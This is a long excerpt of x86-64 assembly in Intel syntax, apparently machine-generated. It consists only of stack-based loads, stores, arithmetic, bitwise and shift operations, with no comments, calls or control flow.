mov rcx, qword [rsp + 0x9bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9fc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9710]
mov eax, dword [rax]
mov dword [rsp + 0x50a8], eax
mov eax, dword [rsp + 0x4e88]
mov ecx, dword [rsp + 0x4ec4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fac], eax
mov rax, qword [rsp + 0xa378]
mov rcx, qword [rsp + 0x9880]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9468], rax
mov rax, qword [rsp + 0x8f40]
mov qword [rsp + 0xa700], rax
lea rax, [rsp + 0x128c]
mov qword [0x1401e8ae0], rax
movzx eax, byte [rsp + 0xda]
movzx ecx, byte [rsp + 0xae]
or eax, ecx
mov rcx, qword [rsp + 0x94c0]
mov byte [rcx], al
lea rax, [rsp + 0x11ac]
mov qword [rsp + 0xa708], rax
movzx eax, word [rsp + 0x1038]
mov rcx, qword [rsp + 0x9528]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1024], ax
movzx eax, byte [rsp + 0xf7]
mov rcx, qword [rsp + 0x9a20]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x90a8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4fc8]
mov dword [rsp + 0x50ac], eax
mov rax, qword [rsp + 0x8fc8]
mov rcx, qword [rsp + 0xa4a8]
mov qword [rsp + 0xa710], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa710]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa158], rax
lea rax, [rsp + 0x9ee8]
mov qword [rsp + 0xa718], rax
mov eax, dword [rsp + 0x5098]
imul eax, dword [rsp + 0x4e68]
mov dword [rsp + 0x5000], eax
movsx eax, byte [rsp + 0x94]
movsx ecx, byte [rsp + 0xbc]
and eax, ecx
mov byte [0x1401e7067], al
movzx eax, word [rsp + 0x1224]
mov word [rsp + 0x12b4], ax
movsx eax, byte [rsp + 0xc3]
movsx ecx, byte [rsp + 0x9d]
sub eax, ecx
mov rcx, qword [rsp + 0x9bc8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xbf]
movzx ecx, byte [rsp + 0x100]
add eax, ecx
mov rcx, qword [rsp + 0x8e08]
mov byte [rcx], al
movzx eax, word [rsp + 0x1014]
mov word [rsp + 0x12b8], ax
mov eax, dword [rsp + 0x5070]
mov ecx, dword [rsp + 0x4f4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x504c], eax
mov rax, qword [rsp + 0x95c0]
mov eax, dword [rax]
mov dword [rsp + 0x50b0], eax
mov rax, qword [rsp + 0x93c8]
mov rcx, qword [rsp + 0x9088]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x91c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9700]
mov rcx, qword [rsp + 0x8ab0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa680], rax
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x114]
and eax, ecx
mov byte [0x1401e87a3], al
movzx eax, word [rsp + 0x1020]
mov word [rsp + 0x12bc], ax
mov rax, qword [rsp + 0x9b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x96]
sub eax, ecx
mov byte [rsp + 0x11a], al
lea rax, [rsp + 0x1128]
mov qword [rsp + 0xa720], rax
mov rax, qword [rsp + 0x9aa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1234]
add eax, ecx
mov rcx, qword [rsp + 0x9b38]
mov word [rcx], ax
mov rax, qword [rsp + 0x91f8]
mov rcx, qword [rsp + 0x9498]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e24], eax
lea rax, [rsp + 0x5000]
mov qword [rsp + 0xa728], rax
mov rax, qword [rsp + 0x98b8]
mov rcx, qword [rsp + 0xa420]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96b0]
mov qword [rcx], rax
lea rax, [0x1401e7010]
mov qword [rsp + 0xa730], rax
lea rax, [rsp + 0xf4]
mov qword [0x1401e8ae8], rax
mov rax, qword [rsp + 0xa640]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x10e4], ax
mov rax, qword [0x1401e8918]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa580]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1254], ax
mov rax, qword [rsp + 0xa530]
movzx eax, byte [rax]
mov byte [rsp + 0x12f], al
movsx eax, byte [rsp + 0x110]
movsx ecx, byte [rsp + 0xd0]
sar eax, cl
mov rcx, qword [rsp + 0xa6e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9920]
mov eax, dword [rax]
mov dword [rsp + 0x50b4], eax
mov rax, qword [rsp + 0xa318]
mov rcx, qword [rsp + 0x9a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa2d0]
mov rax, qword [rax]
mov qword [rsp + 0xa738], rax
mov rax, qword [rsp + 0xa420]
mov rcx, qword [rsp + 0xa660]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9208]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ea8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e70c4], ax
movzx eax, byte [rsp + 0x112]
mov rcx, qword [rsp + 0x9908]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
mov rax, qword [rsp + 0xa1a0]
movzx eax, word [rax]
mov word [rsp + 0x12c0], ax
mov rax, qword [rsp + 0x9828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa358]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1148], ax
mov rax, qword [rsp + 0x8f50]
movzx eax, word [rax]
mov word [rsp + 0x12c4], ax
mov rax, qword [rsp + 0x9960]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9be0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b58], rax
mov rax, qword [rsp + 0x9cd8]
mov ecx, dword [rsp + 0x5084]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9808]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e28]
mov dword [rsp + 0x50b8], eax
mov rax, qword [rsp + 0x9680]
mov rcx, qword [rsp + 0x9e40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa248]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xe4]
movsx ecx, byte [rsp + 0xd3]
sub eax, ecx
mov byte [0x1401e87a5], al
movzx eax, word [rsp + 0x129c]
mov word [rsp + 0x12c8], ax
mov rax, qword [0x1401e89d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b88]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x10f], al
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc9]
sar eax, cl
mov rcx, qword [rsp + 0x8df0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3a0]
movzx eax, byte [rax]
mov byte [rsp + 0x130], al
mov rax, qword [rsp + 0x8ea0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [section..data]
shl eax, cl
mov dword [rsp + 0x50a4], eax
mov rax, qword [rsp + 0x8df8]
mov rax, qword [rax]
mov qword [rsp + 0xa740], rax
mov rax, qword [rsp + 0x96b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cc8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x92a8], rax
mov rax, qword [rsp + 0xa2e8]
mov eax, dword [rax]
mov dword [rsp + 0x50bc], eax
movsx eax, word [rsp + 0x1078]
mov rcx, qword [rsp + 0xa640]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8990]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3a0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e703a]
and eax, ecx
mov byte [rsp + 0xde], al
movzx eax, word [rsp + 0x1148]
movzx ecx, word [rsp + 0x1158]
sub eax, ecx
mov word [rsp + 0x1198], ax
mov rax, qword [rsp + 0xa1b8]
movzx eax, word [rax]
mov word [rsp + 0x12cc], ax
mov rax, qword [rsp + 0x9ad0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x96]
add eax, ecx
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0xa478]
mov qword [rsp + 0xa748], rax
mov rax, qword [rsp + 0x9530]
mov rcx, qword [rsp + 0x8f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5064], eax
mov rax, qword [rsp + 0xa410]
mov rcx, qword [rsp + 0x98e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
lea rax, [rsp + 0x9cc0]
mov qword [rsp + 0xa750], rax
movzx eax, byte [rsp + 0x100]
mov rcx, qword [rsp + 0x8df0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb3], al
lea rax, [rsp + 0xf6]
mov qword [0x1401e8af0], rax
lea rax, [rsp + 0x1130]
mov qword [rsp + 0xa758], rax
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9cb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa708]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbf]
movzx ecx, byte [rsp + 0xdb]
add eax, ecx
mov byte [rsp + 0x109], al
mov eax, dword [rsp + 0x4e5c]
mov dword [rsp + 0x50c0], eax
mov rax, qword [rsp + 0x90f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9948], rax
lea rax, [rsp + 0x8f88]
mov qword [rsp + 0xa760], rax
mov eax, dword [rsp + 0x4eec]
mov ecx, dword [rsp + 0x4f20]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ff8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa1]
xor eax, ecx
mov rcx, qword [rsp + 0x9b88]
mov byte [rcx], al
movzx eax, word [rsp + 0x1138]
mov rcx, qword [0x1401e8878]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401e70c8], ax
mov rax, qword [rsp + 0xa460]
movzx eax, byte [rax]
mov byte [rsp + 0x131], al
movsx eax, byte [rsp + 0x98]
movsx ecx, byte [rsp + 0x113]
sar eax, cl
mov rcx, qword [rsp + 0x9fc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9be8]
movzx eax, word [rax]
mov word [rsp + 0x12d0], ax
mov rax, qword [rsp + 0x9a38]
mov rcx, qword [rsp + 0xa348]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f70], rax
mov rax, qword [rsp + 0xa750]
mov rax, qword [rax]
mov qword [rsp + 0xa768], rax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x9e48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x93d8]
mov rcx, qword [rsp + 0x8ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5090], eax
mov rax, qword [rsp + 0x9d48]
movzx eax, word [rax]
mov word [rsp + 0x12d4], ax
movzx eax, byte [rsp + 0x114]
movzx ecx, byte [0x1401e8793]
add eax, ecx
mov byte [0x1401e7023], al
movzx eax, word [rsp + 0x11e4]
movzx ecx, word [rsp + 0x1024]
sub eax, ecx
mov word [rsp + 0x112c], ax
movzx eax, byte [rsp + 0xfe]
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x91b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10bc]
add eax, ecx
mov rcx, qword [rsp + 0x9d48]
mov word [rcx], ax
mov eax, dword [rsp + 0x4ef0]
mov ecx, dword [rsp + 0x4eb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fbc], eax
lea rax, [rsp + 0x9320]
mov qword [rsp + 0xa770], rax
mov rax, qword [rsp + 0x90b0]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f88], rax
lea rax, [rsp + 0x5078]
mov qword [rsp + 0xa778], rax
movzx eax, word [rsp + 0x1058]
mov rcx, qword [rsp + 0xa008]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9b70]
mov word [rcx], ax
movsx eax, word [rsp + 0x1090]
mov rcx, qword [rsp + 0x9c88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7078], ax
mov rax, qword [rsp + 0x9c30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9900]
mov byte [rcx], al
movzx eax, word [rsp + 0x1044]
mov word [rsp + 0x12d8], ax
mov rax, qword [0x1401e88e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9fa8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x11b], al
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0x133], al
mov eax, dword [rsp + 0x4ebc]
movzx ecx, al
mov eax, dword [rsp + 0x4f9c]
sar eax, cl
mov dword [rsp + 0x4ea0], eax
mov rax, qword [rsp + 0xa730]
mov rcx, qword [rsp + 0x94f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9e38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e98]
mov qword [rsp + 0xa780], rax
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x9408]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa390]
mov dword [rcx], eax
lea rax, [rsp + 0xbe]
mov qword [0x1401e8af8], rax
mov rax, qword [rsp + 0xa758]
movzx eax, word [rax]
mov word [rsp + 0x12dc], ax
movzx eax, word [rsp + 0x1224]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x113c], ax
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0x134], al
movsx eax, word [rsp + 0x11f4]
mov rcx, qword [rsp + 0xa5e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa1c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e68]
mov rcx, qword [rsp + 0x9018]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0x9c20]
mov eax, dword [rax]
mov dword [rsp + 0x50c4], eax
mov rax, qword [rsp + 0x9a88]
mov rcx, qword [rsp + 0x93c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x90b0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e7c]
mov qword [rsp + 0xa788], rax
lea rax, [rsp + 0x122c]
mov qword [0x1401e8b00], rax
mov rax, qword [0x1401e88b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1258]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x10e]
movsx ecx, byte [rsp + 0x7a]
sub eax, ecx
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0xa040]
movzx eax, byte [rax]
mov byte [rsp + 0x135], al
movzx eax, byte [0x1401e8793]
movzx ecx, byte [rsp + 0x93]
add eax, ecx
mov rcx, qword [rsp + 0x9370]
mov byte [rcx], al
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0xa790], rax
mov rax, qword [rsp + 0x9738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5058]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eb0], eax
mov rax, qword [rsp + 0x9958]
mov rcx, qword [rsp + 0xa5b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x90d8], rax
lea rax, [rsp + 0x9180]
mov qword [rsp + 0xa798], rax
mov rax, qword [rsp + 0x9908]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8ab0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e7022], al
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x10a]
shl eax, cl
mov rcx, qword [rsp + 0x9310]
mov byte [rcx], al
mov rax, qword [rsp + 0x92d8]
movzx eax, word [rax]
mov word [rsp + 0x12e0], ax
mov rax, qword [rsp + 0x9a68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12b8]
sar eax, cl
mov word [rsp + 0x1240], ax
lea rax, [rsp + 0x1068]
mov qword [rsp + 0xa7a0], rax
mov rax, qword [rsp + 0x9818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4edc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fec], eax
mov rax, qword [rsp + 0x9000]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e7c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9778]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa498]
mov rax, qword [rax]
mov qword [rsp + 0xa7a8], rax
mov rax, qword [rsp + 0x8f88]
mov rcx, qword [rsp + 0x9b98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0a8], rax
movzx eax, word [rsp + 0x10c0]
mov word [0x1401e8b08], ax
lea rax, [rsp + 0xec]
mov qword [rsp + 0xa7b0], rax
movzx eax, word [rsp + 0x10a4]
mov rcx, qword [rsp + 0xa110]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1258], ax
movzx eax, byte [rsp + 0x107]
movzx ecx, byte [0x1401e700f]
sub eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0xa078]
movzx eax, byte [rax]
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x9978]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e40]
mov qword [rsp + 0xa7b8], rax
mov rax, qword [rsp + 0x8ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d50], eax
mov rax, qword [rsp + 0x9650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fd0], eax
mov rax, qword [rsp + 0xa128]
movsx eax, word [rax]
movsx ecx, word [0x1401e8940]
sub eax, ecx
mov word [0x1401e88d8], ax
movzx eax, word [rsp + 0x1184]
mov word [rsp + 0x12e4], ax
mov rax, qword [rsp + 0xa658]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f28]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9248]
movzx eax, byte [rax]
mov byte [rsp + 0x137], al
movzx eax, byte [rsp + 0xf5]
mov rcx, qword [rsp + 0x90a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xde], al
mov eax, dword [rsp + 0x4e4c]
mov ecx, dword [rsp + 0x4eec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa280]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f20]
mov eax, dword [rax]
mov dword [rsp + 0x50c8], eax
mov rax, qword [rsp + 0x9120]
mov rcx, qword [rsp + 0x9610]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4d0]
mov rax, qword [rax]
mov qword [rsp + 0xa7c0], rax
movsx eax, word [rsp + 0x114c]
movsx ecx, word [0x1401e70ac]
shl eax, cl
mov word [0x1401e70cc], ax
mov rax, qword [rsp + 0x9148]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
sar eax, cl
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
movzx eax, word [rsp + 0x11e8]
mov word [rsp + 0x12e8], ax
mov rax, qword [rsp + 0xa0d8]
movzx eax, word [rax]
mov rcx, qword [0x1401e8868]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9d20]
mov word [rcx], ax
mov rax, qword [rsp + 0x9270]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11e]
add eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
lea rax, [rsp + 0x5074]
mov qword [rsp + 0xa7c8], rax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0x98b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa148], rax
mov eax, dword [rsp + 0x4e88]
mov dword [rsp + 0x50cc], eax
mov rax, qword [rsp + 0x98f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9910]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8eb8]
mov qword [rcx], rax
movzx eax, word [0x1401e70b8]
mov rcx, qword [rsp + 0xa658]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e704c], ax
mov rax, qword [rsp + 0x9d60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x82]
sub eax, ecx
mov byte [rsp + 0xbb], al
lea rax, [rsp + 0x78]
mov qword [rsp + 0xa7d0], rax
mov rax, qword [rsp + 0x9518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x77], al
lea rax, [rsp + 0x1008]
mov qword [rsp + 0xa7d8], rax
mov eax, dword [rsp + 0x4e24]
mov ecx, dword [rsp + 0x509c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d50], eax
mov rax, qword [rsp + 0x9bd0]
mov rcx, qword [rsp + 0xa0a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ac0], rax
mov rax, qword [rsp + 0xa410]
mov eax, dword [rax]
mov dword [rsp + 0x50d0], eax
mov rax, qword [rsp + 0x8da0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa740]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa408]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9518]
movzx eax, byte [rax]
mov byte [rsp + 0x138], al
lea rax, [rsp + 0x1210]
mov qword [0x1401e8b10], rax
movsx eax, byte [rsp + 0x10e]
movsx ecx, byte [rsp + 0x12c]
shl eax, cl
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x90c0]
movzx eax, word [rax]
mov word [rsp + 0x12ec], ax
movzx eax, word [0x1401e8ab8]
movzx ecx, word [rsp + 0x1188]
or eax, ecx
mov word [rsp + 0x1138], ax
mov rax, qword [rsp + 0x9c20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4eec]
sar eax, cl
mov rcx, qword [rsp + 0x8d78]
mov dword [rcx], eax
lea rax, [rsp + 0xa6d0]
mov qword [rsp + 0xa7e0], rax
mov rax, qword [rsp + 0x9f20]
mov ecx, dword [rsp + 0x507c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e9c], eax
lea rax, [rsp + 0x90d8]
mov qword [rsp + 0xa7e8], rax
mov rax, qword [rsp + 0x8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1150]
and eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa438]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e703a], al
movsx eax, byte [rsp + 0x115]
movsx ecx, byte [rsp + 0x119]
sub eax, ecx
mov rcx, qword [rsp + 0x9310]
mov byte [rcx], al
movzx eax, word [rsp + 0x123c]
mov word [rsp + 0x12f0], ax
mov rax, qword [rsp + 0xa688]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa6]
add eax, ecx
mov rcx, qword [rsp + 0xa650]
mov byte [rcx], al
lea rax, [rsp + 0x4eac]
mov qword [rsp + 0xa7f0], rax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [0x1401e7004]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x95c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa628]
mov rcx, qword [rsp + 0xa240]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d78]
mov qword [rcx], rax
lea rax, [rsp + 0x9180]
mov qword [rsp + 0xa7f8], rax
movzx eax, byte [0x1401e7053]
movzx ecx, byte [rsp + 0x77]
sub eax, ecx
mov rcx, qword [rsp + 0x9460]
mov byte [rcx], al
movzx eax, byte [rsp + 0x100]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e8ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9470]
movzx eax, word [rax]
mov word [rsp + 0x12f4], ax
mov rax, qword [rsp + 0x99c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa7]
add eax, ecx
mov rcx, qword [rsp + 0x9f58]
mov byte [rcx], al
movsx eax, word [rsp + 0x12c4]
movsx ecx, word [rsp + 0x1124]
shl eax, cl
mov word [rsp + 0x1134], ax
lea rax, [rsp + 0xa478]
mov qword [rsp + 0xa800], rax
mov rax, qword [rsp + 0x9838]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e78], eax
mov rax, qword [rsp + 0x98f0]
mov rax, qword [rax]
mov qword [rsp + 0xa808], rax
mov rax, qword [rsp + 0x92f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8e28]
mov qword [rsp + 0xa810], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa810]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x93c0]
mov dword [rcx], eax
lea rax, [0x1401e7050]
mov qword [rsp + 0xa818], rax
lea rax, [rsp + 0x1180]
mov qword [0x1401e8b18], rax
mov rax, qword [rsp + 0xa668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9060]
mov byte [rcx], al
mov rax, qword [rsp + 0x97f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96e0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9900]
mov byte [rcx], al
lea rax, [rsp + 0x10b4]
mov qword [rsp + 0xa820], rax
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10d0]
and eax, ecx
mov rcx, qword [rsp + 0x92b0]
mov word [rcx], ax
lea rax, [rsp + 0x98c8]
mov qword [rsp + 0xa828], rax
mov rax, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0x8b20]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa070], rax
mov rax, qword [rsp + 0xa300]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f08], eax
mov eax, dword [rsp + 0x4e7c]
mov dword [rsp + 0x50d4], eax
lea rax, [rsp + 0x1074]
mov qword [0x1401e8b20], rax
mov rax, qword [rsp + 0x9370]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9f80]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0x9310]
movzx eax, byte [rax]
mov byte [rsp + 0x139], al
movzx eax, word [rsp + 0x11d8]
mov rcx, qword [rsp + 0x9f28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10e0], ax
movsx eax, word [rsp + 0x1130]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a68]
mov word [rcx], ax
mov rax, qword [0x1401e7018]
mov qword [rsp + 0xa830], rax
mov rax, qword [rsp + 0x9580]
mov rcx, qword [rsp + 0x8ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa330]
mov dword [rcx], eax
lea rax, [rsp + 0x4ddc]
mov qword [rsp + 0xa838], rax
mov rax, qword [rsp + 0x9af0]
mov rcx, qword [rsp + 0x8ee8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8fb8], rax
mov rax, qword [rsp + 0xa258]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x136]
and eax, ecx
mov byte [0x1401e8796], al
mov rax, qword [rsp + 0xa4d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f90]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x106c], ax
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x13a], al
movsx eax, word [rsp + 0x1100]
mov rcx, qword [rsp + 0x90c0]
movsx ecx, word [rcx]
or eax, ecx
